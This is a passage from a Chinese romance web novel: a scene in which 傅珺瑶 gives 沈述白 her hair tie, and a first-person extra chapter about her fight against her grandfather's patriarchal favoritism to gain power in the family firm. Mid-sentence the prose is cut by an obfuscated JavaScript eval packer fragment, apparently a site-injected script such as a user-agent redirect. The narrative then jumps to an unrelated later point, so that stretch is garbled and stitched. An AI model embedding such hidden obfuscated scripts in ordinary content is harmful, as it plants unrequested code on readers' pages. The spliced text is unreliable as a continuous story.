傅珺瑶再次和顾清漪对视,脸上的表情始终维持原状,唇角轻挑:“是啊,我们三个都打算出去,也差不多要开始申请学校了,没想到你们对这些事倒是了解的蛮清楚嘛。” 齐征脸上的笑意更深,还没来得及说什么,郑霖就先开了口:“我们也都是从老师那里听到的,咱们学校老师不都喜欢讲谁谁谁出国了、去哪了嘛。” “对对对!”齐征应和点头:“珺瑶,那你们打算去哪个国家啊?美国、英国、澳大利亚、瑞士、加拿大?” “不过你们应该可以选那种轻松一点的专业吧?走艺术路线什么的,过去享受生活。” “齐征,你别乱猜了,我们今天是出来玩的,不是来谈人生的。”齐征话音刚落,郑霖便出来阻止。 傅珺瑶不再多说多问,放下墨镜,遮挡住大片太阳,也挡住自己的视线。 隔着那层镜片,她的目光在郑霖身上盯了几秒,才不紧不慢收回来。 沈述白和许远舟躲在不远处的树干后边,时不时往她们这边看过来几眼。 “一群陌生人居然能在一起聊这么久?珺珺什么时候这么没有边界感了?”沈述白拧着眉,手指快要掐进树干里。 “他们不会真要成了吧,我之前听说好几对都是出来玩了一趟就成了的。”许远舟语气恹恹。 “啊?!” - 傅珺瑶和路婧跟着顾清漪、郑霖他们一块去吃了饭,最后郑霖送了顾清漪回家,傅珺瑶挽着路婧,说自己已经叫了车,就不麻烦他们。 齐征走之前也不忘来傅珺瑶跟前打招呼:“珺瑶,咱们之后有机会学校见啊!” 路边只剩傅珺瑶和路婧两人。 “珺珺,这几个人看来你觉得怎样?”路婧试探开口。 傅珺瑶浅哼:“做普通同学没问题,怕只怕,有的人心思不纯。” “清漪自己应该也看出来了吧?咱们要不要再提醒着她点。” 傅珺瑶点点头:“放心吧,不会有事的。” - 傅珺瑶叫的车把路婧先送回了家。 她自己刚到别墅院门口,还没让保安开门,又忽然转身走远了些。 傅珺瑶站在路边,盯着前面不远处,那棵高大粗壮的梧桐树。 双臂上抬抱在胸前,她朝着那个方向平声开口:“跟了我一天了,你不累吗?” 被街灯照亮的梧桐叶晃了晃,傅珺瑶望过去的方向安静依旧。 她也来了兴致,脸上的笑意融了几分松散进去,轻挑的眉梢藏不住捉弄的悦色。 “说起来今天有个好消息,你想听吗?这事我还是第一次干,还解锁了新身份呢……” 她的话音还没完全落下去,那棵大树后边的人猛地侧身,一个跨步踏出来。 “你真的跟那个男的在一起了?” 沈述白一身简单的黑色T恤和长裤已经染了些风尘气,眉眼挤在一起,嘴唇略微发白,一副心事重重的模样。 傅珺瑶双目怔忪了下,脸上的笑意收敛几分。 她主动上前,缩短和他之间的距离,视线几番绕过他脸侧:“你怎么把自己搞成这个样子?” 话语里忽然带了质问的味道。 沈述白不回答,再次追问:“你真的喜欢那个男的?” 傅珺瑶凝了口气,掀眸睨他眼,瘪唇:“我什么时候喜欢他了?” 沈述白眉心抽了抽,下意识问出口:“那你喜欢谁?” “……”傅珺瑶一时语塞,没想到他会问这么直接,瞟了眼他的耳钉,她努努嘴,扬起下巴:“你猜?” 字音揉进黑夜,整个世界都安静下来。 空气不知怎么的,隐隐发热,鼓动原本沉寂的躁动因子,想要点燃那层若有似无的薄纱。 傅珺瑶跟着正形起来。 抱在胸前的手下垂,背脊也慢慢挺直,和他交汇的视线彼此缠绕,莫名掺了点心虚,又有几分难以言明的雀跃和期待。 傅珺瑶抿了抿唇,有点想撤退,但两条腿却不听使唤,始终不肯迈出去。 沈述白的视线骤然下移,落在她的腕口不动。 她不解,循着目光看过去。 心脏往前一撞。 是她戴在手腕上的黑色发圈。 她再次抬眸,重重撞进他的眸中。 嘴唇抿得更紧。 “珺珺。”他唤。 傅珺瑶头皮一麻,嗓间溢出声轻哼。 “这个发圈,你愿不愿意送给我?” 血流从心口泵出,压过那股酥麻的感觉,在全身环绕着被确认的愉悦感。 傅珺瑶缓缓抬腕,两秒后,她干脆扯下发圈,一把拽过他的左手,把发圈套了上去。 “这可是你主动要的,没我的允许,不准摘下来。”她迅速收回手,背在身后,语调明显上抬。 双神轻晃,有意避开他。 他凑近,带着他的气息闯入,柔和散漫的嗓音忽然郑重。 “就算你允许,我也不会摘下来。” 傅珺瑶本能眯起眼,颊侧的肌肉拉扯她的唇角往两边扬。 头顶暖光透过晃动的梧桐叶下落,脚边树影摇晃,两片梧桐叶小心翼翼地碰触。 眼前夜晚生动,周身被熟悉的温度包绕,掌心愈发暖热。 - 90. 番外7 【我的确争强好胜,因为我想要更多。】 - 我生在一个很典型的父权家庭里,爷爷是个极其传统又固执的老头,掌控着家里最深最重的经济权,也有着最大的话语权。 自我有记忆以来,对爷爷的印象就不太好。 大多数时间,我都是见到他严肃、强势、苛刻甚至愤怒的模样。那种不怒自威的气场时常让我恐惧、不舒服。 妈妈和爸爸给我解释过,说爷爷是因为失去了疼爱的儿子,失去了集团里的接班人,奶奶身体又出了些问题,他性情确实大变。我们要么尽量理解,要么保持沉默。 我记下了。 虽然我对大伯的印象很浅,但也能大致想象失去亲人的滋味,也尽量去感同身受,试图理解这位和我血脉相连的老人。 可……我好像并不能太理解—— 每每我上前安慰这位和我血脉相连的老人时,他对我的态度其实不算坏,但就是带着一层不深却令我无法忽略的“轻视”。 就好像,我的安慰只是无关紧要、有则有之的“空话”,不论我认为这个分量有多重,都无法穿透那层屏障,无法落到爷爷心里。 而哥哥却不一样。 就算他一句安慰的话都不说,就算他什么都不做,爷爷都会主动破开那层屏障,拉近哥哥和他的距离。 这种于我而言的‘区别对待’,让我忍不住多想,让我忍不住疑惑、困惑。 是我的言语和行为没有安慰到点子上?是我比哥哥小了六岁,心智还不够成熟?还是因为我不是天生的左撇子,不如哥哥聪明? 或许吧,毕竟我才十二岁,哥哥已经是个法定意义上的成年人了,成年人应该是比未成年人更能解决问题吧。 那年的我这样想。 于是我尽量不去纠结那些无形之中给我带来的不适,无数次为了爷爷、为了哥哥、也为了我自己找借口,告诉自己,只要我慢慢长大,变得像哥哥那样强,或者比哥哥更强,爷爷就会改变他的态度,把我和哥哥真的一视同仁。 然而后来我才发现,那不过是我说服自己的幻想罢了。 我成功就读于当年哥哥读书的学校,也恰好,和哥哥遇上同一个班主任。 那天我去她的办公室问数学题,临走前,她突然说:“珺瑶,你的悟性很不错呀,当初你哥哥也是聪明得很,每回考试都稳在前三,你也争取,尽量每回稳在前五,直接当你哥哥的大学校友了。” 前五? 就仅仅只是前五? 就好像…默认我不会比哥哥强。 又是这种让我很不舒服的感觉,和爷爷一样,她的话带着层天然存在的“轻视”。 所以不只是爷爷,连老师也如此么? 可……到底为什么呢? 他们凭什么就认定我不能比哥哥强? 稳居前三? 那我只争第一,是不是就能改变他们对我的“轻视”呢? 身随心想,在校的每一天,我都认真对待我的学业。练习、复习、巩固、举一反三,直到我自己满意。 在连着的几次大型考试里,我也得偿所愿,次次第一。 心底生出雀跃和期待,期待老师的转变,期待爷爷的转变。 可我想象中的转变并没有来。 老师说:“很不错呀珺瑶,不愧是淮湛的妹妹,果然你们家这个基因就在这里,继续保持啊。” 这话让我更不开心。 不愧是“淮湛的妹妹”? 靠我自己得来的第一,到最后为什么会归功于哥哥? 不应该是“不愧是傅珺瑶”么? 我拿着漂亮的成绩单回家,妈妈和爸爸非常替我开心,说我很厉害,还要奖励我。 我心底暗下去的期待又慢慢恢复光亮。 于是兴冲冲去找爷爷:“爷爷您看,我这几次都考了年级第一,而且几乎都是满分!” 爷爷确实露出久违的笑脸,说:“很不错,和你哥哥一样,爷爷是不是说了让你多学学你哥有好处?你就得好好听话,知道吗?继续保持,以后啊说不定还能给你哥当个好帮手。” 我的笑凝在嘴角,爷爷却不再管我,转身进了书房,哥哥也在里面。 我听到他们的对话。 “你现在也大学了,不要想着轻松,不要想着混日子,早点把学分修满,明年开春进恒璟实习,我带你接触大项目,尽快融进来,懂吗?” “是。” “还有,你现在也是个大人了,在商场,最重要的就是敢想敢干,杀出气势,早点把那些循规蹈矩的学生气丢掉,你可是我们傅家的继承人,以后恒璟我是要稳稳交到你手上的,你要尽早学会掌权、懂得掌权,时时刻刻牢记家族利益,但是也不能丢掉野性,更不能没有野心和棱角,明白吗?” “我知道了,爷爷。” “说话不要这样软绵绵的,男子汉大丈夫,拿出你的气势来!不要到最后连珺珺都不如!” 我心底的所有期待,在爷爷的那句话之后,尽数熄灭。 那一刻我才明白,原来不是我不够强,不是我不够好,是他们对我有着本能的“轻视”。 我所有的能力都会以哥哥为标杆被他们评判,我靠自己得来的成果也会被他们归功于哥哥。 因为他们早就默认我不如哥哥,把我视作哥哥的“好帮手”。 突然想起爷爷常挂在嘴边的那些话: “淮湛以后就是咱们傅家掌权的人了。” “淮湛可是咱们傅家的希望!” “以后淮湛也能在恒璟帮我分担点力了。” 关于哥哥,总是和最重要的权力挂钩。 而关于我,爷爷又总是另一番言辞: “珺珺,你要懂事乖巧、听话一点,那才是个女孩该有的样子。” “穿衣服得像样,爷爷都是为了你好。” “就算你没有哥哥聪明也不要紧,咱们傅家也能养你一辈子。” “以后啊,爷爷再给你找个家大势大的公子哥联姻,让你多个靠山。” 凭什么呢? 凭什么我傅珺瑶就必须作为帮手辅助? 凭什么哥哥他就能学习那些“商场里的东西”,能被顺理成章当成继承人,默认他是未来傅家掌权的人,我就只能当他的帮手? 只因为我是个女孩? 女孩该有的样子? 养我一辈子?联姻?靠山? 所谓的养我一辈子,这话保真么?一辈子那么长,他们真能保证没有失手的时候么? 除了我自己,谁又能真的陪我一辈子? 如果我真的放纵自己,享受在爷爷给我铸造的“养我一辈子”的看似美妙的幻梦中,逐渐失去自己,那他们的价值万一在某天消失,我所拥有的一切,不是也会跟着消失? 要联姻才能获得的靠山,真的牢固么?未来如果靠山倒了,我又要何去何从? 野性、野心、棱角。 难道这些只能哥哥有,我不能有么? 不,我可以。 坐上高位掌权的人为什么只能是他们,而不是我? “连珺珺都不如”? 我盯着那扇紧闭的房门,不由发出声冷哼。 那就干脆……让这句话成真好了。 他们轻视我,我却不想轻视我。 既然都生在这样的家庭里,先天条件已然不差,我凭什么要退让? 如果可以,我要成为那个位高权重的人,我要成为掌控全局的人,我要成为谁都不能替代的人,我要成为能选择的人。 我不要当那个看似被人捧在手心里,但实际什么都不会的傅珺瑶。我不要每天都等着别人给我好处,拿着看似轻松的伪权力,我要自己拿到那份实实在在的权力,我要自己握住自己的一生。 大伯不是也说过,我是傅家的第一个女儿,也可能是傅家在恒璟的第一位女高层,那我就一定要爬上去,坐稳这个高层的位置。 我不想只看他们如何威风、如何掌权、如何赢得一切,我要自己赢,我要傅珺瑶赢。 - 我没辜负自己,顺利考进淮大。原本爸爸想让我出国读大学,不过妈妈说,留在淮北我才会有更多机会,最后我们商量就留在淮北,中间给我安排个出国交换的名额就好。 我特意选的对口专业,也成功让爷爷松口,让我顺利进入恒璟实习。 项目是爷爷让哥哥给我安排的。 我还记得,那天在哥哥的办公室门口听见爷爷说:“你把那么重要的项目全权放手给珺珺?!你脑子是不清醒?!” “董事长,我也是想让珺珺趁此锻炼锻炼。” “锻炼也不能这样!放权放权,是适当放权,不是把权力全放出去!你简直是胡闹!” 我明白,那是爷爷不相信我。 不过我也记得他曾经跟哥哥说的话:“在职场,能真正让别人服你的是实力,有了实力才能握紧权力,仅靠傅家,还远远不够!” 哥哥后来也没和我说什么,我也当没听见那些话,只全力灌注在项目上。 和团队里的前辈、同事一起商讨了好几版方案,那也是我第一次连着熬几个大夜,最后确认没什么问题后,我挑了个时间,上交成果。 那天爷爷也在哥哥的办公室里,他直接从哥哥手里抄过我做的东西,仔细审视。 没多久,我看到那双充满震慑力的灰眸里多了几分我鲜少见过的意外和惊喜。 我也知道,爷爷心底那杆倾向哥哥的天秤,或多或少有了动摇。 未来,我也许只需要等待一个机会,一个……足够我向上的机会。 哥哥离家出走,是我没预料到的事。 我没想到一直被赋予厚望的哥哥会在那么关键的时候抛弃一切,完全不负责任地走掉。 那也是我第一次看到,一向高高在上、威严强势的爷爷抱着奶奶和大伯的照片哭得不成样子。 可当爷爷红着眼,过来牵着我的手,说想让我坐上恒璟总经理位置的时候,我心底却是说不出来的雀跃。 我知道,我的机会到了。 只是当我真的进入高层圈之后,我才发现那一切都和我想象得不太一样。 爷爷的脾性更甚从前,他把用在哥哥身上的那一套不动照搬,强行压制在我身上。 逼着我穿严肃板正的西装、头发必须一丝不苟地扎起来、要树立起自己的强势和威严。 他说恒璟的高层全都如此,董事会的领导们个个都是这样,我要想融入,就必须以他们为标杆。 可董事会,包括爷爷这个董事长,全是男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在我不知道要怎么办的时候,闻玥跟我分享了她新做的失忆的药,以及…我在沈述白的手机里,看到了他姑姑的照片。 那双褐眸我总觉得很熟悉,不仅仅是沈述白的眼睛像她,只是我一时半会没想起来。 看到照片的那天我偶然遇到一个人出来吃饭的楚阿姨。 我终于反应过来,楚茜也有那样一双褐眸。 虽然不太确定,但我觉得,我的新的机会,已经到了。 - 我终于获得了我想要的一小部分自由。 可我知道,我还是得继续往上,因为我想要的不仅仅是这一小部分,我还要更多。 我要足够的话语权,我要更有分量的决策权,我要足以让我改变规则的权力。 有了那些,我才能深深进入他们的规则,才能去重塑那些我不喜欢的规则,才能彻底逃离他们给我的定义,自己定义我自己。 也许正如沈述白说的那样,未来仍然不是坦途,可我相信,我能得到我想要的一切。 - 【被爱确实很幸福,可不被爱,就一定不幸福吗】 我曾和清漪谈过一次心,那个时候我们聊到家人的爱。 她说爸妈工作都很忙,几乎没时间陪她,爷爷奶奶又满世界的跑,感觉爸爸妈妈好像没办法抽出很多时间陪她,时常觉得他们没那么爱她。 爱。 我不由思考:爱和被爱真的很重要吗? 被爱当然是幸福的,可不被爱,就一定不幸福吗? 被爱? 被? 如果我换个角度呢? 我爱谁? 从我的意愿出发,爱得开心了,就继续爱,爱得不高兴了,就撒手。要么得到,要么失去,就这么简单。 妈妈和爸爸都是爱我的,我能感受到,他们愿意支持我做任何事,也会理解我。 哥哥虽然有时懦弱,但他也愿意为我做很多事。 爷爷好像确实对我没多少爱,在他眼里,他总是觉得哥哥比我强,我的确受压抑,那个时候,也算是一种不幸福?可到后来,我的实力成了门槛,让爷爷给了我实权,至少,我得到了最有用的东西,这个时候,纠结他爱不爱我这个孙女,好像也毫无意义。 在爱情里,沈述白是我的理想伴侣,他几乎能满足我所有的对于爱情的需求,我知道他爱我,我也爱他,这就够了。 至于他的爱满不满,我的爱满不满,那都不重要,如果真的觉得少了点什么,可以做出来。 毕竟他说过,爱不是说出来的,而是做出来的。 我想,与其花时间思考自己到底被不被爱,不如利用身边的一切资源和机会,切切实实的把真正有用的东西捏在手里,那才是最重要的。 被爱,我是那个我想成为的傅珺瑶,不被爱,我依然是那个我想成为的傅珺瑶。这对我来说,就够了。 我的幸福,应该来源于傅珺瑶那三个字,而非其他。 只要我的人生和傅珺瑶这三个字挂钩,那便是最坚定、谁都无法更改、挪移的幸福。